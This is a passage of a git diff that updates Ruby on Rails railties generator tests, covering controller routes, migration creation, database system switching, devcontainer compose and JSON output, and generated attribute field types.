-  end
-
-  def test_does_not_invoke_assets_if_required
-    run_generator ["account", "--skip-assets"]
-    assert_no_file "app/assets/javascripts/account.js"
-    assert_no_file "app/assets/stylesheets/account.css"
-  end
-
   def test_invokes_default_test_framework
     run_generator
     assert_file "test/controllers/account_controller_test.rb"
@@ -65,7 +55,7 @@ def test_invokes_default_template_engine
 
   def test_add_routes
     run_generator
-    assert_file "config/routes.rb", /^  get 'account\/foo'/, /^  get 'account\/bar'/
+    assert_file "config/routes.rb", /^  get "account\/foo"/, /^  get "account\/bar"/
   end
 
   def test_skip_routes
@@ -75,6 +65,13 @@ def test_skip_routes
     end
   end
 
+  def test_skip_routes_prevents_generating_tests_with_routes
+    run_generator ["account", "foo", "--skip-routes"]
+    assert_file "test/controllers/account_controller_test.rb" do |controller_test|
+      assert_no_match(/account_foo_(url|path)/, controller_test)
+    end
+  end
+
   def test_invokes_default_template_engine_even_with_no_action
     run_generator ["account"]
     assert_file "app/views/account"
@@ -97,7 +94,44 @@ def test_actions_are_turned_into_methods
   def test_namespaced_routes_are_created_in_routes
     run_generator ["admin/dashboard", "index"]
     assert_file "config/routes.rb" do |route|
-      assert_match(/^  namespace :admin do\n    get 'dashboard\/index'\n  end$/, route)
+      assert_match(/^  namespace :admin do\n    get "dashboard\/index"\n  end$/, route)
     end
   end
+
+  def test_namespaced_routes_with_multiple_actions_are_created_in_routes
+    run_generator ["admin/dashboard", "index", "show"]
+    assert_file "config/routes.rb" do |route|
+      assert_match(/^  namespace :admin do\n    get "dashboard\/index"\n    get "dashboard\/show"\n  end$/, route)
+    end
+  end
+
+  def test_does_not_add_routes_when_action_is_not_specified
+    run_generator ["admin/dashboard"]
+    assert_file "config/routes.rb" do |routes|
+      assert_no_match(/namespace :admin/, routes)
+    end
+  end
+
+  def test_controller_parent_param
+    run_generator ["admin/dashboard", "--parent", "admin_controller"]
+    assert_file "app/controllers/admin/dashboard_controller.rb" do |controller|
+      assert_match(/class Admin::DashboardController < AdminController/, controller)
+    end
+  end
+
+  def test_controller_suffix_is_not_duplicated
+    run_generator ["account_controller"]
+
+    assert_no_file "app/controllers/account_controller_controller.rb"
+    assert_file "app/controllers/account_controller.rb"
+
+    assert_no_file "app/views/account_controller/"
+    assert_file "app/views/account/"
+
+    assert_no_file "test/controllers/account_controller_controller_test.rb"
+    assert_file "test/controllers/account_controller_test.rb"
+
+    assert_no_file "app/helpers/account_controller_helper.rb"
+    assert_file "app/helpers/account_helper.rb"
+  end
 end
diff --git a/railties/test/generators/create_migration_test.rb b/railties/test/generators/create_migration_test.rb
index ddd40e4d02436..4ce06ea19e75d 100644
--- a/railties/test/generators/create_migration_test.rb
+++ b/railties/test/generators/create_migration_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/rails/migration/migration_generator"
 
@@ -46,13 +48,15 @@ def revoke!
   def test_invoke
     create_migration
 
-    assert_match(/create  db\/migrate\/1_create_articles.rb\n/, invoke!)
+    assert_match(/create  db\/migrate\/1_create_articles\.rb\n/, invoke!)
     assert_file @migration.destination
   end
 
   def test_invoke_pretended
-    create_migration(default_destination_path, {}, pretend: true)
+    create_migration(default_destination_path, {}, { pretend: true })
 
+    stdout = invoke!
+    assert_match(/create  db\/migrate\/1_create_articles\.rb\n/, stdout)
     assert_no_file @migration.destination
   end
 
@@ -67,8 +71,17 @@ def test_invoke_when_exists_identical
     migration_exists!
     create_migration
 
-    assert_match(/identical  db\/migrate\/1_create_articles.rb\n/, invoke!)
-    assert @migration.identical?
+    assert_match(/identical  db\/migrate\/1_create_articles\.rb\n/, invoke!)
+    assert_predicate @migration, :identical?
+  end
+
+  def test_invoke_return_existing_file_when_exists_identical
+    migration_exists!
+    create_migration
+
+    invoked_file = nil
+    quietly { invoked_file = @migration.invoke! }
+    assert_equal @existing_migration.relative_existing_migration, invoked_file
   end
 
   def test_invoke_when_exists_not_identical
@@ -84,29 +97,29 @@ def test_invoke_forced_when_exists_not_identical
     create_migration(dest, force: true) { "different content" }
 
     stdout = invoke!
-    assert_match(/remove  db\/migrate\/1_migration.rb\n/, stdout)
-    assert_match(/create  db\/migrate\/2_migration.rb\n/, stdout)
+    assert_match(/remove  db\/migrate\/1_migration\.rb\n/, stdout)
+    assert_match(/create  db\/migrate\/2_migration\.rb\n/, stdout)
     assert_file @migration.destination
     assert_no_file @existing_migration.destination
   end
 
   def test_invoke_forced_pretended_when_exists_not_identical
     migration_exists!
-    create_migration(default_destination_path, { force: true }, pretend: true) do
+    create_migration(default_destination_path, { force: true }, { pretend: true }) do
       "different content"
     end
 
     stdout = invoke!
-    assert_match(/remove  db\/migrate\/1_create_articles.rb\n/, stdout)
-    assert_match(/create  db\/migrate\/2_create_articles.rb\n/, stdout)
+    assert_match(/remove  db\/migrate\/1_create_articles\.rb\n/, stdout)
+    assert_match(/create  db\/migrate\/2_create_articles\.rb\n/, stdout)
     assert_no_file @migration.destination
   end
 
   def test_invoke_skipped_when_exists_not_identical
     migration_exists!
-    create_migration(default_destination_path, {}, skip: true) { "different content" }
+    create_migration(default_destination_path, {}, { skip: true }) { "different content" }
 
-    assert_match(/skip  db\/migrate\/2_create_articles.rb\n/, invoke!)
+    assert_match(/skip  db\/migrate\/2_create_articles\.rb\n/, invoke!)
     assert_no_file @migration.destination
   end
 
@@ -114,21 +127,21 @@ def test_revoke
     migration_exists!
     create_migration
 
-    assert_match(/remove  db\/migrate\/1_create_articles.rb\n/, revoke!)
+    assert_match(/remove  db\/migrate\/1_create_articles\.rb\n/, revoke!)
     assert_no_file @existing_migration.destination
   end
 
   def test_revoke_pretended
     migration_exists!
-    create_migration(default_destination_path, {}, pretend: true)
+    create_migration(default_destination_path, {}, { pretend: true })
 
-    assert_match(/remove  db\/migrate\/1_create_articles.rb\n/, revoke!)
+    assert_match(/remove  db\/migrate\/1_create_articles\.rb\n/, revoke!)
     assert_file @existing_migration.destination
   end
 
   def test_revoke_when_no_exists
     create_migration
 
-    assert_match(/remove  db\/migrate\/1_create_articles.rb\n/, revoke!)
+    assert_match(/remove  db\/migrate\/1_create_articles\.rb\n/, revoke!)
   end
 end
diff --git a/railties/test/generators/db_system_change_generator_test.rb b/railties/test/generators/db_system_change_generator_test.rb
new file mode 100644
index 0000000000000..5e89e47832eaf
--- /dev/null
+++ b/railties/test/generators/db_system_change_generator_test.rb
@@ -0,0 +1,225 @@
+# frozen_string_literal: true
+
+require "generators/generators_test_helper"
+require "rails/generators/rails/db/system/change/change_generator"
+
+module Rails
+  module Generators
+    module Db
+      module System
+        class ChangeGeneratorTest < Rails::Generators::TestCase
+          include GeneratorsTestHelper
+
+          setup do
+            copy_gemfile <<~ENTRY
+              # Use sqlite3 as the database for Active Record
+              gem "sqlite3"
+            ENTRY
+
+            copy_dockerfile
+            copy_devcontainer_files
+          end
+
+          test "change to invalid database" do
+            output = capture(:stderr) do
+              run_generator ["--to", "invalid-db"]
+            end
+
+            assert_match <<~MSG.squish, output
+              Invalid value for --to option.
+              Supported preconfigurations are:
+              mysql, trilogy, postgresql, sqlite3, mariadb-mysql, mariadb-trilogy.
+            MSG
+          end
+
+          test "change to postgresql" do
+            run_generator ["--to", "postgresql"]
+
+            assert_file("config/database.yml") do |content|
+              assert_match "adapter: postgresql", content
+              assert_match "database: tmp_production", content
+              assert_match "host: <%= ENV[\"DB_HOST\"] %>", content
+            end
+
+            assert_file("Gemfile") do |content|
+              assert_match "# Use pg as the database for Active Record", content
+              assert_match 'gem "pg", "~> 1.1"', content
+            end
+
+            assert_file("Dockerfile") do |content|
+              assert_match "build-essential git libpq-dev", content
+              assert_match "curl libjemalloc2 libvips postgresql-client", content
+            end
+
+            assert_devcontainer_json_file do |content|
+              assert_equal "postgres", content["containerEnv"]["DB_HOST"]
+              assert_includes content["features"].keys, "ghcr.io/rails/devcontainer/features/postgres-client"
+              assert_not_includes content["features"].keys, "ghcr.io/rails/devcontainer/features/sqlite"
+            end
+
+            assert_compose_file do |compose_config|
+              assert_includes compose_config["services"]["rails-app"]["depends_on"], "postgres"
+
+              expected_postgres_config = {
+                "image" => "postgres:18",
+                "restart" => "unless-stopped",
+                "networks" => ["default"],
+                "volumes" => ["postgres-data:/var/lib/postgresql"],
+                "environment" => {
+                  "POSTGRES_USER" => "postgres",
+                  "POSTGRES_PASSWORD" => "postgres"
+                }
+              }
+
+              assert_equal expected_postgres_config, compose_config["services"]["postgres"]
+              assert_includes compose_config["volumes"].keys, "postgres-data"
+            end
+          end
+
+          test "change to mysql" do
+            run_generator ["--to", "mysql"]
+
+            assert_file("config/database.yml") do |content|
+              assert_match "adapter: mysql2", content
+              assert_match "database: tmp_production", content
+            end
+
+            assert_file("Gemfile") do |content|
+              assert_match "# Use mysql2 as the database for Active Record", content
+              assert_match 'gem "mysql2", "~> 0.5"', content
+            end
+
+            assert_file("Dockerfile") do |content|
+              assert_match "build-essential default-libmysqlclient-dev git", content
+              assert_match "curl default-mysql-client libjemalloc2 libvips", content
+            end
+
+            assert_devcontainer_json_file do |content|
+              assert_equal "mysql", content["containerEnv"]["DB_HOST"]
+              assert_equal({}, content["features"]["ghcr.io/rails/devcontainer/features/mysql-client"])
+            end
+
+            assert_compose_file do |compose_config|
+              assert_includes compose_config["services"]["rails-app"]["depends_on"], "mysql"
+
+              expected_mysql_config = {
+                "image" => "mysql/mysql-server:8.0",
+                "restart" => "unless-stopped",
+                "environment" => {
+                  "MYSQL_ALLOW_EMPTY_PASSWORD" => "true",
+                  "MYSQL_ROOT_HOST" => "%"
+                },
+                "volumes" => ["mysql-data:/var/lib/mysql"],
+                "networks" => ["default"],
+              }
+
+              assert_equal expected_mysql_config, compose_config["services"]["mysql"]
+              assert_includes compose_config["volumes"].keys, "mysql-data"
+            end
+          end
+
+          test "change to sqlite3" do
+            run_generator ["--to", "sqlite3"]
+
+            assert_file("config/database.yml") do |content|
+              assert_match "adapter: sqlite3", content
+              assert_match "storage/development.sqlite3", content
+            end
+
+            assert_file("Gemfile") do |content|
+              assert_match "# Use sqlite3 as the database for Active Record", content
+              assert_match 'gem "sqlite3", ">= 2.1"', content
+            end
+
+            assert_file("Dockerfile") do |content|
+              assert_match "build-essential git", content
+              assert_match "curl libjemalloc2 libvips sqlite3", content
+            end
+
+            assert_devcontainer_json_file do |content|
+              assert_not_includes content["containerEnv"].keys, "DB_HOST"
+            end
+          end
+
+          test "change to trilogy" do
+            run_generator ["--to", "trilogy"]
+
+            assert_file("config/database.yml") do |content|
+              assert_match "adapter: trilogy", content
+              assert_match "database: tmp_production", content
+            end
+
+            assert_file("Gemfile") do |content|
+              assert_match "# Use trilogy as the database for Active Record", content
+              assert_match 'gem "trilogy", "~> 2.7"', content
+            end
+
+            assert_file("Dockerfile") do |content|
+              assert_match "build-essential git", content
+              assert_match "curl default-mysql-client libjemalloc2 libvips", content
+              assert_no_match "default-libmysqlclient-dev", content
+            end
+          end
+
+          test "change to mariadb" do
+            run_generator ["--to", "mariadb-mysql"]
+
+            assert_devcontainer_json_file do |content|
+              assert_match "mariadb", content["containerEnv"]["DB_HOST"]
+            end
+
+            assert_compose_file do |compose_config|
+              assert_includes compose_config["services"]["rails-app"]["depends_on"], "mariadb"
+
+              expected_mariadb_config = {
+                "image" => "mariadb:10.5",
+                "restart" => "unless-stopped",
+                "networks" => ["default"],
+                "volumes" => ["mariadb-data:/var/lib/mysql"],
+                "environment" => {
+                  "MARIADB_ALLOW_EMPTY_ROOT_PASSWORD" => "true",
+                },
+              }
+
+              assert_equal expected_mariadb_config, compose_config["services"]["mariadb"]
+              assert_includes compose_config["volumes"].keys, "mariadb-data"
+            end
+          end
+
+          test "change from versioned gem to other versioned gem" do
+            run_generator ["--to", "sqlite3"]
+            run_generator ["--to", "mysql", "--force"]
+
+            assert_file("config/database.yml") do |content|
+              assert_match "adapter: mysql2", content
+              assert_match "database: tmp_production", content
+            end
+
+            assert_file("Gemfile") do |content|
+              assert_match "# Use mysql2 as the database for Active Record", content
+              assert_match 'gem "mysql2", "~> 0.5"', content
+            end
+          end
+
+          test "change from db with devcontainer service to one without" do
+            copy_minimal_devcontainer_compose_file
+
+            run_generator ["--to", "mysql"]
+            run_generator ["--to", "sqlite3", "--force"]
+
+            assert_devcontainer_json_file do |content|
+              assert_not_includes content["containerEnv"].keys, "DB_HOST"
+              assert_not_includes content["features"].keys, "ghcr.io\/rails\/devcontainer\/features\/mysql-client"
+            end
+
+            assert_compose_file do |compose_config|
+              assert_not_includes compose_config["services"]["rails-app"].keys, "depends_on"
+              assert_not_includes compose_config["services"].keys, "mysql"
+              assert_not_includes compose_config.keys, "volumes"
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/railties/test/generators/devcontainer_generator_test.rb b/railties/test/generators/devcontainer_generator_test.rb
new file mode 100644
index 0000000000000..d1131e01f8dee
--- /dev/null
+++ b/railties/test/generators/devcontainer_generator_test.rb
@@ -0,0 +1,392 @@
+# frozen_string_literal: true
+
+require "generators/generators_test_helper"
+require "rails/generators/rails/devcontainer/devcontainer_generator"
+
+module Rails
+  module Generators
+    class DevcontainerGeneratorTest < Rails::Generators::TestCase
+      include GeneratorsTestHelper
+
+      def test_creates_devcontainer_files
+        run_generator
+
+        assert_file ".devcontainer/compose.yaml"
+        assert_file ".devcontainer/Dockerfile"
+        assert_file ".devcontainer/devcontainer.json"
+        test_common_config
+      end
+
+      def test_active_storage_option_default
+        run_generator
+
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_includes devcontainer_json["features"].keys, "ghcr.io/rails/devcontainer/features/activestorage"
+        end
+      end
+
+      def test_active_storage_option_skip
+        run_generator [ "--skip-active-storage" ]
+
+        test_common_config
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_nil devcontainer_json["features"]["ghcr.io/rails/devcontainer/features/activestorage"]
+        end
+      end
+
+      def test_app_name_option_default
+        run_generator
+
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_equal "rails_app", devcontainer_json["name"]
+        end
+
+        assert_compose_file do |compose|
+          assert_equal "rails_app", compose["name"]
+        end
+      end
+
+      def test_app_name_option
+        run_generator ["--app-name", "my-TestApp_name"]
+
+        test_common_config_with_folder("my-TestApp_name")
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_equal "my-TestApp_name", devcontainer_json["name"]
+        end
+
+        assert_compose_file do |compose|
+          assert_equal "my-TestApp_name", compose["name"]
+        end
+      end
+
+      def test_app_folder_option
+        run_generator ["--app-name", "sample_app", "--app-folder", "my_folder"]
+
+        test_common_config_with_folder("my_folder")
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_equal "sample_app", devcontainer_json["name"]
+        end
+
+        assert_compose_file do |compose|
+          assert_equal "sample_app", compose["name"]
+          # Verify the volume mount uses app_folder, not app_name
+          expected_volume = "../../my_folder:/workspaces/my_folder:cached"
+          assert_equal expected_volume, compose["services"]["rails-app"]["volumes"].first
+        end
+      end
+
+      def test_database_default_sqlite3
+        run_generator
+
+        assert_no_file "config/database.yml"
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_includes devcontainer_json["features"].keys, "ghcr.io/rails/devcontainer/features/sqlite3"
+        end
+      end
+
+      def test_database_mariadb_mysql
+        run_generator [ "--database", "mariadb-mysql" ]
+
+        test_common_config
+        assert_no_file "config/database.yml"
+        assert_compose_file do |compose|
+          expected_mariadb_config = {
+            "image" => "mariadb:10.5",
+            "restart" => "unless-stopped",
+            "networks" => ["default"],
+            "volumes" => ["mariadb-data:/var/lib/mysql"],
+            "environment" => {
+              "MARIADB_ALLOW_EMPTY_ROOT_PASSWORD" => "true",
+            },
+          }
+          assert_equal expected_mariadb_config, compose["services"]["mariadb"]
+          assert_includes compose["volumes"].keys, "mariadb-data"
+          assert_includes compose["services"]["rails-app"]["depends_on"], "mariadb"
+        end
+
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_equal "mariadb", devcontainer_json["containerEnv"]["DB_HOST"]
+          assert_includes devcontainer_json["features"].keys, "ghcr.io/rails/devcontainer/features/mysql-client"
+          assert_includes devcontainer_json["forwardPorts"], 3306
+        end
+      end
+
+      def test_database_mariadb_trilogy
+        run_generator [ "--database", "mariadb-trilogy" ]
+
+        test_common_config
+        assert_no_file "config/database.yml"
+        assert_compose_file do |compose|
+          expected_mariadb_config = {
+            "image" => "mariadb:10.5",
+            "restart" => "unless-stopped",
+            "networks" => ["default"],
+            "volumes" => ["mariadb-data:/var/lib/mysql"],
+            "environment" => {
+              "MARIADB_ALLOW_EMPTY_ROOT_PASSWORD" => "true",
+            },
+          }
+          assert_equal expected_mariadb_config, compose["services"]["mariadb"]
+          assert_includes compose["volumes"].keys, "mariadb-data"
+          assert_includes compose["services"]["rails-app"]["depends_on"], "mariadb"
+        end
+
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_equal "mariadb", devcontainer_json["containerEnv"]["DB_HOST"]
+          assert_includes devcontainer_json["forwardPorts"], 3306
+        end
+      end
+
+      def test_database_mysql
+        run_generator [ "--database", "mysql" ]
+
+        test_common_config
+        assert_no_file "config/database.yml"
+        assert_compose_file do |compose|
+          expected_mysql_config = {
+            "image" => "mysql/mysql-server:8.0",
+            "restart" => "unless-stopped",
+            "environment" => {
+              "MYSQL_ALLOW_EMPTY_PASSWORD" => "true",
+              "MYSQL_ROOT_HOST" => "%"
+            },
+            "volumes" => ["mysql-data:/var/lib/mysql"],
+            "networks" => ["default"],
+          }
+          assert_equal expected_mysql_config, compose["services"]["mysql"]
+          assert_includes compose["volumes"].keys, "mysql-data"
+          assert_includes compose["services"]["rails-app"]["depends_on"], "mysql"
+        end
+
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_equal "mysql", devcontainer_json["containerEnv"]["DB_HOST"]
+          assert_includes devcontainer_json["features"].keys, "ghcr.io/rails/devcontainer/features/mysql-client"
+          assert_includes devcontainer_json["forwardPorts"], 3306
+        end
+      end
+
+      def test_database_postgresql
+        run_generator [ "--database", "postgresql" ]
+
+        test_common_config
+
+        assert_file("config/database.yml") do |db_config|
+          assert_match(/host: <%= ENV\["DB_HOST"\] %>/, db_config)
+          assert_match(/username: postgres/, db_config)
+          assert_match(/password: postgres/, db_config)
+        end
+
+        assert_compose_file do |compose|
+          expected_postgres_config = {
+            "image" => "postgres:18",
+            "restart" => "unless-stopped",
+            "networks" => ["default"],
+            "volumes" => ["postgres-data:/var/lib/postgresql"],
+            "environment" => {
+              "POSTGRES_USER" => "postgres",
+              "POSTGRES_PASSWORD" => "postgres"
+            }
+          }
+          assert_equal expected_postgres_config, compose["services"]["postgres"]
+          assert_includes compose["volumes"].keys, "postgres-data"
+          assert_includes compose["services"]["rails-app"]["depends_on"], "postgres"
+        end
+
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_equal "postgres", devcontainer_json["containerEnv"]["DB_HOST"]
+          assert_includes devcontainer_json["features"].keys, "ghcr.io/rails/devcontainer/features/postgres-client"
+          assert_includes devcontainer_json["forwardPorts"], 5432
+        end
+      end
+
+      def test_database_trilogy
+        run_generator [ "--database", "trilogy" ]
+
+        test_common_config
+        assert_no_file "config/database.yml"
+        assert_compose_file do |compose|
+          expected_mysql_config = {
+            "image" => "mysql/mysql-server:8.0",
+            "restart" => "unless-stopped",
+            "environment" => {
+              "MYSQL_ALLOW_EMPTY_PASSWORD" => "true",
+              "MYSQL_ROOT_HOST" => "%"
+            },
+            "volumes" => ["mysql-data:/var/lib/mysql"],
+            "networks" => ["default"],
+          }
+          assert_equal expected_mysql_config, compose["services"]["mysql"]
+          assert_includes compose["volumes"].keys, "mysql-data"
+          assert_includes compose["services"]["rails-app"]["depends_on"], "mysql"
+        end
+
+        assert_devcontainer_json_file do |content|
+          assert_equal "mysql", content["containerEnv"]["DB_HOST"]
+          assert_includes content["forwardPorts"], 3306
+        end
+      end
+
+      def test_dev_option_default
+        run_generator
+
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_nil devcontainer_json["mounts"]
+        end
+      end
+
+      def test_dev_option
+        run_generator ["--dev"]
+
+        test_common_config
+        assert_devcontainer_json_file do |devcontainer_json|
+          mounts = devcontainer_json["mounts"].sole
+
+          assert_equal "bind", mounts["type"]
+          assert_equal Rails::Generators::RAILS_DEV_PATH, mounts["source"]
+          assert_equal Rails::Generators::RAILS_DEV_PATH, mounts["target"]
+        end
+      end
+
+      def test_node_option_default
+        run_generator
+
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_not_includes devcontainer_json["features"].keys, "ghcr.io/devcontainers/features/node:1"
+        end
+      end
+
+      def test_node_option
+        run_generator ["--node"]
+
+        test_common_config
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_includes devcontainer_json["features"].keys, "ghcr.io/devcontainers/features/node:1"
+        end
+      end
+
+      def test_redis_option_default
+        run_generator
+
+        assert_compose_file do |compose|
+          assert_includes compose["services"]["rails-app"]["depends_on"], "redis"
+          expected_redis_config = {
+            "image" => "valkey/valkey:8",
+            "restart" => "unless-stopped",
+            "volumes" => ["redis-data:/data"]
+          }
+          assert_equal expected_redis_config, compose["services"]["redis"]
+          assert_equal ["redis-data"], compose["volumes"].keys
+        end
+
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_equal "redis://redis:6379/1", devcontainer_json["containerEnv"]["REDIS_URL"]
+          assert_includes devcontainer_json["forwardPorts"], 6379
+        end
+      end
+
+      def test_redis_option_skip
+        run_generator ["--skip-redis"]
+
+        test_common_config
+        assert_compose_file do |compose|
+          assert_not_includes compose["services"]["rails-app"]["depends_on"], "redis"
+          assert_nil compose["services"]["redis"]
+          assert_nil compose["volumes"]
+        end
+
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_not_includes devcontainer_json["forwardPorts"], 6379
+        end
+      end
+
+      def test_kamal_option_default
+        run_generator
+
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_includes devcontainer_json["features"].keys, "ghcr.io/devcontainers/features/docker-outside-of-docker:1"
+          assert_equal "$KAMAL_REGISTRY_PASSWORD", devcontainer_json["containerEnv"]["KAMAL_REGISTRY_PASSWORD"]
+        end
+      end
+
+      def test_kamal_option_skip
+        run_generator ["--skip-kamal"]
+
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_not_includes devcontainer_json["features"].keys, "ghcr.io/devcontainers/features/docker-outside-of-docker:1"
+          assert_not_includes devcontainer_json["containerEnv"].keys, "KAMAL_REGISTRY_PASSWORD"
+        end
+      end
+
+      def test_system_test_option_default
+        copy_application_system_test_case
+
+        run_generator
+
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_equal "45678", devcontainer_json["containerEnv"]["CAPYBARA_SERVER_PORT"]
+          assert_equal "selenium", devcontainer_json["containerEnv"]["SELENIUM_HOST"]
+        end
+
+        assert_file("test/application_system_test_case.rb") do |system_test_case|
+          assert_match(/^  if ENV\["CAPYBARA_SERVER_PORT"\]/, system_test_case)
+          assert_match(/^    served_by host: "rails-app", port: ENV\["CAPYBARA_SERVER_PORT"\]/, system_test_case)
+          assert_match(/^    driven_by :selenium, using: :headless_chrome, screen_size: \[ 1400, 1400 \], options: {$/, system_test_case)
+          assert_match(/^      browser: :remote,$/, system_test_case)
+          assert_match(/^      url: "http:\/\/\#{ENV\["SELENIUM_HOST"\]}:4444"$/, system_test_case)
+        end
+      end
+
+      def test_system_test_option_does_not_create_new_file
+        run_generator ["--system-test"]
+
+        test_common_config
+        assert_no_file "test/application_system_test_case.rb"
+      end
+
+      def test_system_test_option_skip
+        copy_application_system_test_case
+
+        run_generator [ "--skip-system-test", "--force" ]
+
+        test_common_config
+        assert_compose_file do |compose|
+          assert_not_includes compose["services"]["rails-app"]["depends_on"], "selenium"
+          assert_not_includes compose["services"].keys, "selenium"
+        end
+        assert_devcontainer_json_file do |devcontainer_json|
+          assert_nil devcontainer_json["containerEnv"]["CAPYBARA_SERVER_PORT"]
+        end
+      end
+
+      private
+        def test_common_config
+          test_common_config_with_folder("rails_app")
+        end
+
+        def test_common_config_with_folder(folder_name)
+          assert_file(".devcontainer/Dockerfile") do |dockerfile|
+            assert_match(/ARG RUBY_VERSION=#{RUBY_VERSION}/, dockerfile)
+            assert_match(/ENV BINDING="0.0.0.0"/, dockerfile)
+          end
+
+          assert_devcontainer_json_file do |devcontainer_json|
+            assert_includes devcontainer_json["features"].keys, "ghcr.io/devcontainers/features/github-cli:1"
+            assert_includes devcontainer_json["forwardPorts"], 3000
+          end
+
+          assert_compose_file do |compose|
+            expected_app_config = {
+              "build" => {
+                "context" => "..",
+                "dockerfile" => ".devcontainer/Dockerfile"
+              },
+              "volumes" => ["../../#{folder_name}:/workspaces/#{folder_name}:cached"],
+              "command" => "sleep infinity"
+            }
+            actual_independent_config = compose["services"]["rails-app"].except("depends_on")
+            assert_equal expected_app_config, actual_independent_config
+          end
+        end
+    end
+  end
+end
diff --git a/railties/test/generators/generated_attribute_test.rb b/railties/test/generators/generated_attribute_test.rb
index 97847c8624922..b6fbbe7d51e31 100644
--- a/railties/test/generators/generated_attribute_test.rb
+++ b/railties/test/generators/generated_attribute_test.rb
@@ -1,9 +1,30 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/generated_attribute"
+require "rails/generators/base"
 
 class GeneratedAttributeTest < Rails::Generators::TestCase
   include GeneratorsTestHelper
 
+  def setup
+    @old_belongs_to_required_by_default = Rails.application.config.active_record.belongs_to_required_by_default
+    Rails.application.config.active_record.belongs_to_required_by_default = true
+    ActiveRecord::Base.establish_connection(adapter: "sqlite3", database: ":memory:")
+  end
+
+  def teardown
+    Rails.application.config.active_record.belongs_to_required_by_default = @old_belongs_to_required_by_default
+  end
+
+  def test_field_name_with_dangerous_attribute_raises_error
+    e = assert_raise Rails::Generators::Error do
+      create_generated_attribute :string, :save
+    end
+    message = "Could not generate field 'save', as it is already defined by Active Record."
+    assert_match message, e.message
+  end
+
   def test_field_type_returns_number_field
     assert_field_type :integer, :number_field
   end
@@ -16,32 +37,54 @@ def test_field_type_returns_text_field
 
   def test_field_type_returns_datetime_select
     %w(datetime timestamp).each do |attribute_type|
-      assert_field_type attribute_type, :datetime_select
+      assert_field_type attribute_type, :datetime_field
     end
   end
 
   def test_field_type_returns_time_select
-    assert_field_type :time, :time_select
+    assert_field_type :time, :time_field
   end
 
   def test_field_type_returns_date_select
-    assert_field_type :date, :date_select
+    assert_field_type :date, :date_field
   end
 
-  def test_field_type_returns_text_area
-    assert_field_type :text, :text_area
+  def test_field_type_returns_textarea
+    assert_field_type :text, :textarea
   end
 
-  def test_field_type_returns_check_box
-    assert_field_type :boolean, :check_box
+  def test_field_type_returns_checkbox
+    assert_field_type :boolean, :checkbox
   end
 
-  def test_field_type_with_unknown_type_returns_text_field
-    %w(foo bar baz).each do |attribute_type|
-      assert_field_type attribute_type, :text_field
+  def test_field_type_returns_rich_textarea
+    assert_field_type :rich_text, :rich_textarea
+  end
+
+  def test_field_type_returns_file_field
+    %w(attachment attachments).each do |attribute_type|
+      assert_field_type attribute_type, :file_field
     end
   end
 
+  def test_field_type_with_unknown_type_raises_error
+    field_type = :unknown
+    e = assert_raise Rails::Generators::Error do
+      create_generated_attribute field_type
+    end
+    message = "Could not generate field 'test' with unknown type 'unknown'"
+    assert_match message, e.message
+  end
+
+  def test_field_type_with_unknown_index_type_raises_error
+    index_type = :unknown
+    e = assert_raise Rails::Generators::Error do
+      create_generated_attribute "string", "name", index_type
+    end
+    message = "Could not generate field 'name' with unknown index 'unknown'"
+    assert_match message, e.message
+  end
+
   def test_default_value_is_integer
     assert_field_default_value :integer, 1
   end
@@ -56,12 +99,12 @@ def test_default_value_is_decimal
 
   def test_default_value_is_datetime
     %w(datetime timestamp time).each do |attribute_type|
-      assert_field_default_value attribute_type, Time.now.to_s(:db)
+      assert_field_default_value attribute_type, Time.now.to_fs(:db)
     end
   end
 
   def test_default_value_is_date
-    assert_field_default_value :date, Date.today.to_s(:db)
+    assert_field_default_value :date, Date.today.to_fs(:db)
   end
 
   def test_default_value_is_string
@@ -82,13 +125,13 @@ def test_default_value_is_boolean
   end
 
   def test_default_value_is_nil
-    %w(references belongs_to).each do |attribute_type|
+    %w(references belongs_to rich_text attachment attachments).each do |attribute_type|
       assert_field_default_value attribute_type, nil
     end
   end
 
   def test_default_value_is_empty_string
-    %w(foo bar baz).each do |attribute_type|
+    %w(digest token).each do |attribute_type|
       assert_field_default_value attribute_type, ""
     end
   end
@@ -100,31 +143,55 @@ def test_human_name
     )
   end
 
+  def test_size_option_can_be_passed_to_string_text_and_binary
+    %w(text binary).each do |attribute_type|
+      generated_attribute = create_generated_attribute("#{attribute_type}{medium}")
+      assert_equal :medium, generated_attribute.attr_options[:size]
+    end
+  end
+
+  def test_size_option_raises_exception_when_passed_to_invalid_type
+    %w(integer string).each do |attribute_type|
+      e = assert_raise Rails::Generators::Error do
+        create_generated_attribute("#{attribute_type}{medium}")
+      end
+      message = "Could not generate field 'test' with unknown type '#{attribute_type}{medium}'"
+      assert_match message, e.message
+    end
+  end
+
+  def test_limit_option_can_be_passed_to_string_text_integer_and_binary
+    %w(string text binary integer).each do |attribute_type|
+      generated_attribute = create_generated_attribute("#{attribute_type}{65535}")
+      assert_equal 65535, generated_attribute.attr_options[:limit]
+    end
+  end
+
   def test_reference_is_true
     %w(references belongs_to).each do |attribute_type|
-      assert create_generated_attribute(attribute_type).reference?
+      assert_predicate create_generated_attribute(attribute_type), :reference?
     end
   end
 
   def test_reference_is_false
-    %w(foo bar baz).each do |attribute_type|
-      assert !create_generated_attribute(attribute_type).reference?
+    %w(string text float).each do |attribute_type|
+      assert_not_predicate create_generated_attribute(attribute_type), :reference?
     end
   end
 
   def test_polymorphic_reference_is_true
     %w(references belongs_to).each do |attribute_type|
